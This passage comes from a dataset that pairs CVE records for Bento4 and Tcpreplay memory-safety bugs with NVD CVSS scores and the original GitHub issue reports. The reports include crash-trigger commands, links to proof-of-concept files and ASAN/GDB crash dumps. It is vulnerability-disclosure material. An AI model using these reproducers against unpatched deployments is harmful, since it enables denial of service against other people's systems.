[#3] 0x555555564991 → Name: tcpedit_packet(tcpedit=0x5555557b86c0, pkthdr=0x7fffffffdca0, pktdata=0x7fffffffdc90, direction=TCPR_DIR_C2S) [#4] 0x55555555c589 → Name: send_packets(ctx=0x5555557aa260, pcap=0x5555557ba860, idx=0x0) [#5] 0x555555563169 → Name: replay_file(ctx=0x5555557aa260, idx=0x0) [#6] 0x555555562a1b → Name: tcpr_replay_index(ctx=0x5555557aa260) [#7] 0x555555562341 → Name: tcpreplay_replay(ctx=0x5555557aa260) [#8] 0x55555555f112 → Name: main(argc=0x1, argv=0x7fffffffe540) gef➤ p exthdr Cannot access memory at address 0x0 gef➤ p exthdr->ip_nh Cannot access memory at address 0x0 ```	NULL pointer dereference get_ipv6_l4proto()	https://api.github.com/repos/appneta/tcpreplay/issues/536/comments	2	2019-02-07T06:58:32Z	2019-03-12T20:03:42Z	https://github.com/appneta/tcpreplay/issues/536	407,565,134	536
CVE-2019-8378	2019-02-17T02:29:00.363	An issue was discovered in Bento4 1.5.1-628. A heap-based buffer over-read exists in AP4_BitStream::ReadBytes() in Codecs/Ap4BitStream.cpp, a similar issue to CVE-2017-14645. It can be triggered by sending a crafted file to the aac2mp4 binary. It allows an attacker to cause a Denial of Service (Segmentation fault) or possibly have unspecified other impact.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 6.8, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 8.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 5.9, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }	[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/axiomatic-systems/Bento4/issues/363" }, { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://research.loginsoft.com/bugs/a-heap-buffer-overflow-vulnerability-in-the-function-ap4_bitstreamreadbytes-bento4-1-5-1-628/" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:axiosys:bento4:1.5.1-628:::::::*", "matchCriteriaId": "27A2EAA1-1740-4A14-BFFC-BD4406E9BD87", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/axiomatic-systems/Bento4/issues/363	[ "Exploit", "Third Party Advisory" ]	github.com	[ "axiomatic-systems", "Bento4" ]	Description - we observed a heap-buffer-overflow occured in function` AP4_BitStream::ReadBytes()` located in `Ap4BitStream.cpp`.The same be triggered by sending a crafted file to the aac2mp4 binary. It allows an attacker to cause Denial of Service (Segmentation fault) or possibly have unspecified other impact. Command - `./aac2mp4 $POC output.mp4` POC - [REPRODUCER](https://github.com/SegfaultMasters/covering360/blob/master/BENTO4/HEAP_BOF_POC?raw=true) Degub - ASAN REPORT - ```` ASAN REPORT: ==2056==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x625000002100 at pc 0x7ffff6e93733 bp 0x7fffffffc840 sp 0x7fffffffbfe8 READ of size 4294967289 at 0x625000002100 thread T0 #0 0x7ffff6e93732 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x79732) #1 0x555555868840 in AP4_BitStream::ReadBytes(unsigned char, unsigned int) /home/aceteam/Desktop/packages/Bento4/Source/C++/Codecs/Ap4BitStream.cpp:192 #2 0x555555864ecb in main /home/aceteam/Desktop/packages/Bento4/Source/C++/Apps/Aac2Mp4/Aac2Mp4.cpp:142 #3 0x7ffff64a9b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #4 0x555555864369 in _start (/home/aceteam/Desktop/packages/Bento4/builds/aac2mp4+0x310369) 0x625000002100 is located 0 bytes to the right of 8192-byte region [0x625000000100,0x625000002100) allocated by thread T0 here: #0 0x7ffff6efa618 in operator new [] (unsigned long) (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xe0618) #1 0x555555867a67 in AP4_BitStream: AP4_BitStream () /home/aceteam/Desktop/packages/Bento4/Source/C++/Codecs/Ap4BitStream.cpp:45 #2 0x5555558661f2 in AP4_AdtsParser: AP4_AdtsParser () /home/aceteam/Desktop/packages/Bento4/Source/C++/Codecs/Ap4AdtsParser.cpp:125 #3 0x55555586492a in main /home/aceteam/Desktop/packages/Bento4/Source/C++/Apps/Aac2Mp4/Aac2Mp4.cpp:100 #4 0x7ffff64a9b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) SUMMARY: AddressSanitizer: heap-buffer-overflow (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x79732) Shadow bytes around the buggy address: 0x0c4a7fff83d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c4a7fff83e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c4a7fff83f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c4a7fff8400: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c4a7fff8410: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0c4a7fff8420: [fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c4a7fff8430: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c4a7fff8440: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c4a7fff8450: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c4a7fff8460: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c4a7fff8470: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==2056==ABORTING ```` GDB* - ```` Program received signal SIGSEGV, Segmentation fault. [ Legend: Modified register \| Code \| Heap \| Stack \| String ] ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ registers ]──── $rax : 0x7ffef70a4010 → 0x0000000000000000 $rbx : 0x7fffffffcc48 → 0x000055555588f8d0 → 0xf7c6e70fa88241a4 $rcx : 0x555555890136 → 0x100389d9fd941721 $rdx : 0xfffffff9 $rsp : 0x7fffffffcb48 → 0x00005555555bd601 → <AP4_BitStream::ReadBytes(unsigned+0> mov rax, QWORD PTR [rbp-0x18] $rbp : 0x7fffffffcb80 → 0x00007fffffffdca0 → 0x0000555555631190 → <__libc_csu_init+0> push r15 $rsi : 0x555555890136 → 0x100389d9fd941721 $rdi : 0x7ffef70a4010 → 0x0000000000000000 $rip : 0x7ffff74fe6d3 → <__memmove_sse2_unaligned_erms+435> movups xmm8, XMMWORD PTR [rsi+rdx1-0x10] $r8 : 0xffffffff $r9 : 0x0 $r10 : 0x22 $r11 : 0x246 $r12 : 0xfffffff9 $r13 : 0x7fffffffdd80 → 0x0000000000000003 $r14 : 0x0 $r15 : 0x0 $eflags: [zero carry parity ADJUST sign trap INTERRUPT direction overflow RESUME virtualx86 identification] $gs: 0x0000 $fs: 0x0000 $ds: 0x0000 $ss: 0x002b $es: 0x0000 $cs: 0x0033 ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ stack ]──── 0x00007fffffffcb48│+0x00: 0x00005555555bd601 → <AP4_BitStream::ReadBytes(unsigned+0> mov rax, QWORD PTR [rbp-0x18] ← $rsp 0x00007fffffffcb50│+0x08: 0x00007fffffffcb80 → 0x00007fffffffdca0 → 0x0000555555631190 → <__libc_csu_init+0> push r15 0x00007fffffffcb58│+0x10: 0xfffffff95589a0a0 0x00007fffffffcb60│+0x18: 0x00007ffef70a4010 → 0x0000000000000000 0x00007fffffffcb68│+0x20: 0x00007fffffffcc48 → 0x000055555588f8d0 → 0xf7c6e70fa88241a4 0x00007fffffffcb70│+0x28: 0x000055555589a070 → 0x00005555558714c8 → 0x00005555555bec94 → <AP4_MemoryByteStream::~AP4_MemoryByteStream()+0> push rbp 0x00007fffffffcb78│+0x30: 0xe9967b959a292100 0x00007fffffffcb80│+0x38: 0x00007fffffffdca0 → 0x0000555555631190 → <__libc_csu_init+0> push r15 ← $rbp ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:i386:x86-64 ]──── 0x7ffff74fe6c6 <__memmove_sse2_unaligned_erms+422> movups xmm5, XMMWORD PTR es:[rsi+0x10] 0x7ffff74fe6cb <__memmove_sse2_unaligned_erms+427> movups xmm6, XMMWORD PTR [rsi+0x20] 0x7ffff74fe6cf <__memmove_sse2_unaligned_erms+431> movups xmm7, XMMWORD PTR [rsi+0x30] → 0x7ffff74fe6d3 <__memmove_sse2_unaligned_erms+435> movups xmm8, XMMWORD PTR [rsi+rdx1-0x10] 0x7ffff74fe6d9 <__memmove_sse2_unaligned_erms+441> lea r11, [rdi+rdx1-0x10] 0x7ffff74fe6de <__memmove_sse2_unaligned_erms+446> lea rcx, [rsi+rdx1-0x10] 0x7ffff74fe6e3 <__memmove_sse2_unaligned_erms+451> mov r9, r11 0x7ffff74fe6e6 <__memmove_sse2_unaligned_erms+454> mov r8, r11 0x7ffff74fe6e9 <__memmove_sse2_unaligned_erms+457> and r8, 0xf ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]──── [#0] Id 1, Name: "aac2mp4", stopped, reason: SIGSEGV ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]──── [#0] 0x7ffff74fe6d3 → Name: __memmove_sse2_unaligned_erms() [#1] 0x5555555bd601 → Name: AP4_BitStream::ReadBytes(this=0x7fffffffcc48, bytes=0x7ffef70a4010 "", byte_count=0xfffffff9) [#2] 0x5555555bc395 → Name: main(argc=0x3, argv=0x7fffffffdd88) ````	A heap-buffer-overflow occured in function AP4_BitStream::ReadBytes()	https://api.github.com/repos/axiomatic-systems/Bento4/issues/363/comments	0	2019-01-29T07:09:12Z	2019-02-01T10:24:02Z	https://github.com/axiomatic-systems/Bento4/issues/363	404,151,105	363
CVE-2019-8380	2019-02-17T02:29:00.473	An issue was discovered in Bento4 1.5.1-628. A NULL pointer dereference occurs in AP4_Track::GetSampleIndexForTimeStampMs() located in Core/Ap4Track.cpp. It can triggered by sending a crafted file to the mp4audioclip binary. It allows an attacker to cause a Denial of Service (Segmentation fault) or possibly have unspecified other impact.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 6.8, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 8.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 5.9, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }	[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/axiomatic-systems/Bento4/issues/366" }, { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://research.loginsoft.com/bugs/null-pointer-dereference-vulnerability-in-function-ap4_trackgetsampleindexfortimestampms-bento4-1-5-1-628/" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:axiosys:bento4:1.5.1-628:::::::*", "matchCriteriaId": "27A2EAA1-1740-4A14-BFFC-BD4406E9BD87", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/axiomatic-systems/Bento4/issues/366	[ "Exploit", "Third Party Advisory" ]	github.com	[ "axiomatic-systems", "Bento4" ]	Description - we observed a NULL pointer dereference occured in `AP4_Track::GetSampleIndexForTimeStampMs()` located in `Ap4Track.cpp`.The same be triggered by sending a crafted file to the mp4audioclip binary. It allows an attacker to cause Denial of Service (Segmentation fault) or possibly have unspecified other impact. Command - `./mp4audioclip --start 0 --duration 100 $POC OUTPUTFILE` POC - [REPRODUCER](https://github.com/SegfaultMasters/covering360/blob/master/BENTO4/NP_POC?raw=true) Debug - GDB - ``` 0x00000000004585cb in AP4_Track::GetSampleIndexForTimeStampMs (this=0x6040000001d0, ts_ms=0x0, index=@0x7fffffffdb10: 0x0) at /home/ace/Downloads/sources/Bento4/Source/C++/Core/Ap4Track.cpp:485 485 return m_SampleTable->GetSampleIndexForTimeStamp(ts, index); [ Legend: Modified register \| Code \| Heap \| Stack \| String ] ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ registers ]──── $rax : 0x0 $rbx : 0x7fffffffdd70 → 0x0000000000000000 $rcx : 0x0 $rdx : 0x0 $rsp : 0x7fffffffd9d0 → 0x00007fffffffda00 → 0x00007fffffffdda0 → 0x0000000000578490 → <__libc_csu_init+0> push r15 $rbp : 0x7fffffffda00 → 0x00007fffffffdda0 → 0x0000000000578490 → <__libc_csu_init+0> push r15 $rsi : 0x0 $rdi : 0x0 $rip : 0x4585cb → <AP4_Track::GetSampleIndexForTimeStampMs(unsigned+0> mov rax, QWORD PTR [rax] $r8 : 0x0 $r9 : 0x0 $r10 : 0x60b0000000e0 → 0x14ffffff00000002 $r11 : 0x7fffffffd1d8 → 0x000060c000000090 → 0x00000000005caca0 → 0x00000000004809d6 → <AP4_List<AP4_TrakAtom>::~AP4_List()+0> push rbp $r12 : 0xffffffffb56 → 0x0000000000000000 $r13 : 0x7fffffffdab0 → 0x0000000041b58ab3 $r14 : 0x60b0000000f0 → 0x00000000005ecdb0 → 0x000000000048acd4 → <AP4_SyntheticSampleTable::~AP4_SyntheticSampleTable()+0> push rbp $r15 : 0x0 $eflags: [carry PARITY adjust ZERO sign trap INTERRUPT direction overflow RESUME virtualx86 identification] $ss: 0x002b $fs: 0x0000 $es: 0x0000 $ds: 0x0000 $gs: 0x0000 $cs: 0x0033 ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ stack ]──── 0x00007fffffffd9d0│+0x00: 0x00007fffffffda00 → 0x00007fffffffdda0 → 0x0000000000578490 → <__libc_csu_init+0> push r15 ← $rsp 0x00007fffffffd9d8│+0x08: 0x00007fffffffdb10 → 0x00007fff00000000 0x00007fffffffd9e0│+0x10: 0x000000000000bb80 0x00007fffffffd9e8│+0x18: 0x00006040000001d0 → 0x0000000000596420 → 0x000000000045725e → <AP4_Track::~AP4_Track()+0> push rbp 0x00007fffffffd9f0│+0x20: 0x0000000a00000000 → 0x0000000000000000 0x00007fffffffd9f8│+0x28: 0x0000000000000000 0x00007fffffffda00│+0x30: 0x00007fffffffdda0 → 0x0000000000578490 → <__libc_csu_init+0> push r15 ← $rbp 0x00007fffffffda08│+0x38: 0x0000000000451b68 → <main+1950> test eax, eax ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:i386:x86-64 ]──── 0x4585c0 <AP4_Track::GetSampleIndexForTimeStampMs(unsigned+0> div BYTE PTR [rax+rcx1+0x48] 0x4585c4 <AP4_Track::GetSampleIndexForTimeStampMs(unsigned+0> mov edi, edx 0x4585c6 <AP4_Track::GetSampleIndexForTimeStampMs(unsigned+0> call 0x451140 <__asan_report_load8@plt> → 0x4585cb <AP4_Track::GetSampleIndexForTimeStampMs(unsigned+0> mov rax, QWORD PTR [rax] 0x4585ce <AP4_Track::GetSampleIndexForTimeStampMs(unsigned+0> add rax, 0x40 0x4585d2 <AP4_Track::GetSampleIndexForTimeStampMs(unsigned+0> mov rdx, rax 0x4585d5 <AP4_Track::GetSampleIndexForTimeStampMs(unsigned+0> mov rsi, rdx 0x4585d8 <AP4_Track::GetSampleIndexForTimeStampMs(unsigned+0> shr rsi, 0x3 0x4585dc <AP4_Track::GetSampleIndexForTimeStampMs(unsigned+0> add rsi, 0x7fff8000 ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ source:/home/ace/Downloads/sources/Bento4/Source/C++/Core/Ap4Track.cpp+485 ]──── 480 AP4_Track::GetSampleIndexForTimeStampMs(AP4_UI32 ts_ms, AP4_Ordinal& index) 481 { 482 // convert the ts in the timescale of the track's media 483 AP4_UI64 ts = AP4_ConvertTime(ts_ms, 1000, GetMediaTimeScale()); 484 → 485 return m_SampleTable->GetSampleIndexForTimeStamp(ts, index); 486 } 487 488 /---------------------------------------------------------------------- 489 \| AP4_Track::GetNearestSyncSampleIndex 490 +---------------------------------------------------------------------/ ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]──── [#0] Id 1, Name: "mp4audioclip", stopped, reason: SIGSEGV ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]──── [#0] 0x4585cb → Name: AP4_Track::GetSampleIndexForTimeStampMs(this=0x6040000001d0, ts_ms=0x0, index=@0x7fffffffdb10) [#1] 0x451b68 → Name: main(argc=0x7, argv=0x7fffffffdec0) gef➤ p ts $4 = 0x0 gef➤ p index $5 = (AP4_Ordinal &) @0x7fffffffdb10: 0x0 gef➤ p m_SampleTable $6 = (AP4_SampleTable ) 0x0 gef➤ p m_SampleTable->GetSampleIndexForTimeStamp(ts, index) Cannot access memory at address 0x0 ```	NULL POINTER DEREFERENCE in AP4_Track::GetSampleIndexForTimeStampMs()	https://api.github.com/repos/axiomatic-systems/Bento4/issues/366/comments	0	2019-02-07T06:32:20Z	2019-02-07T06:32:50Z	https://github.com/axiomatic-systems/Bento4/issues/366	407,559,605	366
CVE-2019-8381	2019-02-17T02:29:00.537	An issue was discovered in Tcpreplay 4.3.1. An invalid memory access occurs in do_checksum in checksum.c. It can be triggered by sending a crafted pcap file to the tcpreplay-edit binary. It allows an attacker to cause a Denial of Service (Segmentation fault) or possibly have unspecified other impact.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 6.8, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1" }, "exploitabilityScore": 1.8, "impactScore": 5.9, "source": "[email protected]", "type": "Primary" } ] }	[ { "source": "[email protected]", "tags": [ "Exploit", "Issue Tracking", "Third Party Advisory" ], "url": "https://github.com/appneta/tcpreplay/issues/538" }, { "source": "[email protected]", "tags": null, "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/4V3SADKXUSHWTVAPU3WLXBDEQUHRA6ZO/" }, { "source": "[email protected]", "tags": null, "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/EB3ASS7URTIA3IFSBL2DIWJAFKTBJCAW/" }, { "source": "[email protected]", "tags": null, "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/MLPY6W7Z7G6PF2JN4LXXHCACYLD4RBG6/" }, { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://research.loginsoft.com/bugs/invalid-memory-access-vulnerability-in-function-do_checksum-tcpreplay-4-3-1/" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:broadcom:tcpreplay:4.3.1:::::::", "matchCriteriaId": "506090EE-F5FE-45E6-AC69-809C66AB5F6A", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null }, { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:o:fedoraproject:fedora:28:::::::", "matchCriteriaId": "DC1BD7B7-6D88-42B8-878E-F1318CA5FCAF", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true }, { "criteria": "cpe:2.3:o:fedoraproject:fedora:29:::::::", "matchCriteriaId": "D100F7CE-FC64-4CC6-852A-6136D72DA419", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true }, { "criteria": "cpe:2.3:o:fedoraproject:fedora:30:::::::", "matchCriteriaId": "97A4B8DF-58DA-4AB6-A1F9-331B36409BA3", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/appneta/tcpreplay/issues/538	[ "Exploit", "Issue Tracking", "Third Party Advisory" ]	github.com	[ "appneta", "tcpreplay" ]	Description - we observed that there is an Invalid memory access at `do_checksum ()` in `checksum.c` .The same be triggered by sending a crafted pcap file to the tcpreplay-edit binary. It allows an attacker to cause Denial of Service (Segmentation fault) or possibly have unspecified other impact. Command - tcpreplay-edit -r 80:84 -s 20 -b -C -m 1500 -P --oneatatime -i $INTERFACE $POC POC - [REPRODUCER](https://github.com/SegfaultMasters/covering360/blob/master/tcpreplay/IMA?raw=true) Debug - GDB - ``` Program received signal SIGSEGV, Segmentation fault. [ Legend: Modified register \| Code \| Heap \| Stack \| String ] ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ──── $rax : 0x555500000000 $rbx : 0x00005555557b7bb8 → 0x0000337330706e65 ("enp0s3"?) $rcx : 0x3 $rdx : 0xffffffffaa841df2 $rsp : 0x00007fffffffd930 → 0x0000000000000000 $rbp : 0x00007fffffffd990 → 0x00007fffffffd9d0 → 0x00007fffffffda70 → 0x00007fffffffdbc0 → 0x00007fffffffdd10 → 0x00007fffffffdd40 → 0x00007fffffffddd0 → 0x00007fffffffe210 $rsi : 0x3 $rdi : 0x00005555557be20e → 0x0011323003000062 ("b"?) $rip : 0x00005555555696dc → <do_checksum+524> movzx eax, WORD PTR [rax+0x6] $r8 : 0x15 $r9 : 0x00005555557be200 → 0x6567616d692f0000 $r10 : 0x00005555557b9700 → 0x0000000000000000 $r11 : 0x00007ffff78d6000 → <__fread_chk+0> push r13 $r12 : 0x00007ffff7bbb954 → 0x6800424d30314e45 ("EN10MB"?) $r13 : 0x00007fffffffe2f0 → 0x000000000000000e $r14 : 0x0 $r15 : 0x0 $eflags: [zero CARRY PARITY ADJUST sign trap INTERRUPT direction overflow RESUME virtualx86 identification] $cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ──── 0x00007fffffffd930│+0x0000: 0x0000000000000000 ← $rsp 0x00007fffffffd938│+0x0008: 0x00000011557be239 0x00007fffffffd940│+0x0010: 0x00005555557be20e → 0x0011323003000062 ("b"?) 0x00007fffffffd948│+0x0018: 0x00005555557b86c0 → 0x0000000000000001 0x00007fffffffd950│+0x0020: 0x00007fffffffd980 → 0x00007fffffffd9d0 → 0x00007fffffffda70 → 0x00007fffffffdbc0 → 0x00007fffffffdd10 → 0x00007fffffffdd40 → 0x00007fffffffddd0 0x00007fffffffd958│+0x0028: 0x00000000aa841df2 0x00007fffffffd960│+0x0030: 0x0000000000000000 0x00007fffffffd968│+0x0038: 0x00005555557be20e → 0x0011323003000062 ("b"?) ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ──── 0x5555555696d1 <do_checksum+513> add rax, rdx 0x5555555696d4 <do_checksum+516> mov QWORD PTR [rbp-0x18], rax 0x5555555696d8 <do_checksum+520> mov rax, QWORD PTR [rbp-0x18] → 0x5555555696dc <do_checksum+524> movzx eax, WORD PTR [rax+0x6] 0x5555555696e0 <do_checksum+528> test ax, ax 0x5555555696e3 <do_checksum+531> je 0x555555569939 <do_checksum+1129> 0x5555555696e9 <do_checksum+537> mov rax, QWORD PTR [rbp-0x18] 0x5555555696ed <do_checksum+541> mov WORD PTR [rax+0x6], 0x0 0x5555555696f3 <do_checksum+547> cmp QWORD PTR [rbp-0x28], 0x0 ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── source:checksum.c+99 ──── 94 break; 95 96 case IPPROTO_UDP: 97 udp = (udp_hdr_t )(data + ip_hl); 98 / No need to recalculate UDP checksums if already 0 / // udp=0x00007fffffffd978 → 0x0000555500000000 → 99 if (udp->uh_sum == 0) 100 break; 101 udp->uh_sum = 0; 102 if (ipv6 != NULL) { 103 sum = do_checksum_math((uint16_t )&ipv6->ip_src, 32); 104 } else { ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "tcpreplay-edit", stopped, reason: SIGSEGV ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ──── [#0] 0x5555555696dc → do_checksum(tcpedit=0x5555557b86c0, data=0x5555557be20e "b", proto=0x11, len=0x557be239) [#1] 0x555555565fbc → fix_ipv4_checksums(tcpedit=0x5555557b86c0, pkthdr=0x7fffffffdb50, ip_hdr=0x5555557be20e) [#2] 0x555555564991 → tcpedit_packet(tcpedit=0x5555557b86c0, pkthdr=0x7fffffffdac0, pktdata=0x7fffffffdab0, direction=TCPR_DIR_C2S) [#3] 0x55555555c589 → send_packets(ctx=0x5555557aa260, pcap=0x5555557ba860, idx=0x0) [#4] 0x555555563169 → replay_file(ctx=0x5555557aa260, idx=0x0) [#5] 0x555555562a1b → tcpr_replay_index(ctx=0x5555557aa260) [#6] 0x555555562341 → tcpreplay_replay(ctx=0x5555557aa260) [#7] 0x55555555f112 → main(argc=0x1, argv=0x7fffffffe360) ──────────────────────────────────────────────────────────────────────────────────────────── gef➤ p *udp Cannot access memory at address 0x555500000000 ```	Invalid memory access in do_checksum()	https://api.github.com/repos/appneta/tcpreplay/issues/538/comments	3	2019-02-12T17:10:10Z	2019-03-12T21:06:50Z	https://github.com/appneta/tcpreplay/issues/538	409,407,192	538
CVE-2019-8382	2019-02-17T02:29:00.597	An issue was discovered in Bento4 1.5.1-628. A NULL pointer dereference occurs in the function AP4_List:Find located in Core/Ap4List.h when called from Core/Ap4Movie.cpp. It can be triggered by sending a crafted file to the mp4dump binary. It allows an attacker to cause a Denial of Service (Segmentation fault) or possibly have unspecified other impact.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 6.8, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 8.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", 